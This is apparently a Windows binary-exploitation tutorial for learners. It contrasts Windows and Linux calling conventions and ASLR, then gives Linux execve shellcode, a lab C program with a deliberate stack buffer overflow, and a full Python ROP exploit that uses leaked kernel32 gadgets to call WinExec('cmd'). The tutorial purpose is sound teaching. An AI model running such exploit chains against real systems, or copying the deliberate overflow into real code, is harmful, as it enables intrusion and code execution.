Windows PWN #1

2026-07-02

Intro

 ELF      -> PE
 GOT/PLT  -> IAT/EAT
 syscalls -> volatile syscalls (ntdll)
 ptmalloc -> LFH/Segmented Heap
 LKM      -> WDM drivers 

Argument order is (Windows): RCX, RDX, R8, R9, Stack\text{RCX, RDX, R8, R9, Stack}, unlike Linux that utilizes registers in such order: RDI, RSI, RDX ,RCX, R8, R9, Stack\text{RDI, RSI, RDX ,RCX, R8, R9, Stack}

Saved by x86 x64
Caller-saved (Volatile) EAX, ECX, EDX RAX, RCX, RDX, R8, R9, R10, R11 These store function arguments and return values. You CANT have anything of importance in these
Callee-saved (Non-volatile) EBX, EBP, ESI, EDI RBX, RBP, RDI, RSI, RSP, R12-R15 Fit for stroing important stuff such as kernel32 base / loaded functions addrs / string pointers

So there are differences when it comes to switching to Windows binary exploitation. Some of these differences make our life easier, some make it harder.

We’ll start with BOF + ROP program. Once you understand this you’re able to go on learning LFH, Segmented Heap and other cool stuff.

Userspace

Linux : /proc/self/maps / printf to leak libc Windows: we use RWW primitive (e.g format string) to read stack addresses -> PEB walk -> parse InLoadOrderModuleList to find ntdll/kernel32 base

It’s important to know that libs on windows only change their image base on reboot, so once we leak it once we can use it for as long as we want to until the machine is up. On linux it’s not like that - libc is fully position independent, meaning even if we manage to leak its base once - it will change next time we launch the binary (it’s not that bad tho, the base address only randomizes the 4th nibble, meaning we can just brute force all the 16 options). ### Buffer Overflow

Let’s consider a rather common situation : a buffer overflow vulnerability. Linux exploitation boils down to the following: we search the binary for gadgets, construct a rop chain.

No NX bit => place your shellcode onto the stack (reach it with padding) => get shell.

global _start
section .text
_start:
    xor rsi,rsi
    push rsi
    mov rdi,0x68732f2f6e69622f
    push rdi
    push rsp
    pop rdi
    push 59
    pop rax
    cdq
    syscall

NX bit is present => construct a ROP chain ( registers preparation, /bin/sh string / ORW ) => win.

On Windows you can’t just find the right gadgets and a cmd.exe string, because syscall numers (SSNs) change with every OS update.

Just to make things simpler I decided to add leak() function that gives us kernel32 address right away (in reality we would need to find some RWW primitive first, e.g Format String)

#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#include <Windows.h>

void init();
void leak();
void bof();

int main(void)
{
    init();
    leak();
    bof();
    printf("too bad :(\n");
    return 0;
}

void init()
{
    if (setvbuf(stdin, NULL, _IONBF, 0) ||
        setvbuf(stdout, NULL, _IONBF, 0) ||
        setvbuf(stderr, NULL, _IONBF, 0))
    {
        printf("o shit\n");
        exit(EXIT_FAILURE);
    }
}

void leak()
{
    printf("kernel32.dll @ %p\n", GetModuleHandleA("kernel32.dll"));
}

void bof()
{
    char str[8];
    _read(0, str, 0x80);
}
# x64 
from pwintools import *

p = Process('./simple_rop.exe')  

base = int(p.recvline(False).split()[-1], 16)
log.info("kernel32.dll @ 0x{:016x}".format(base))

# kernel32 offsets (you have to reverify against your local kernel32)
# you may lack the gadgets listed here ; it's ok 
# just be creative and find something similar

WinExec = base + (p.symbols['kernel32.dll']['WinExec'] - p.libs['kernel32.dll'])  # RVA 0x68820

POP_RCX = base + 0x198bb   # pop rcx ; ret

POP_RAX = base + 0x52144   # (0x52140 + 4) ror byte[rax-0x7D],0xC4 ; >>> pop rax ; ret

WRITE4  = base + 0x7e435   # (0x7e432 + 3) setne al ; >>> mov [rcx], eax ; mov eax,1 ; ret

JMP_INF = base + 0x231d2   # EB FE -> jmp $  (keep parent alive so cmd keeps the socket)

DATA    = base + 0xb7000   # start of writable .data (RW)

# WinExec("cmd", uCmdShow). We only need RCX -> "cmd\0".
# uCmdShow (RDX) can be garbage: WinExec still spawns the process
# P.S I found this thing out cuz I didn't have enough space to pack more that 1 arg 
#     so I decided to just go for it & it worked
# _read(0, str, 0x80) reads at most 0x80 = 128 bytes in total
# offset to return addr is 0x18, so the ROP chain must fit in 128-0x18 = 104 bytes.

payload  = b"a" * 0x18
payload += p64(POP_RCX) + p64(DATA)                 # rcx = DATA
payload += p64(POP_RAX) + b"cmd\0\0\0\0\0"          # eax = "cmd\0"
payload += p64(WRITE4)                              # *DATA = "cmd\0"
payload += p64(POP_RCX) + p64(DATA)                 # rcx -> "cmd"  (arg1)
payload += p64(WinExec)                             # WinExec("cmd", garbage)
payload += p64(JMP_INF)                             # loop forever, don't crash the parent

#assert len(payload) <= 0x80, "payload {} > 0x80".format(len(payload))
log.info("payload len = {}".format(len(payload)))

p.send(payload)

log.info('Starting interactive mode ...')
p.interactive()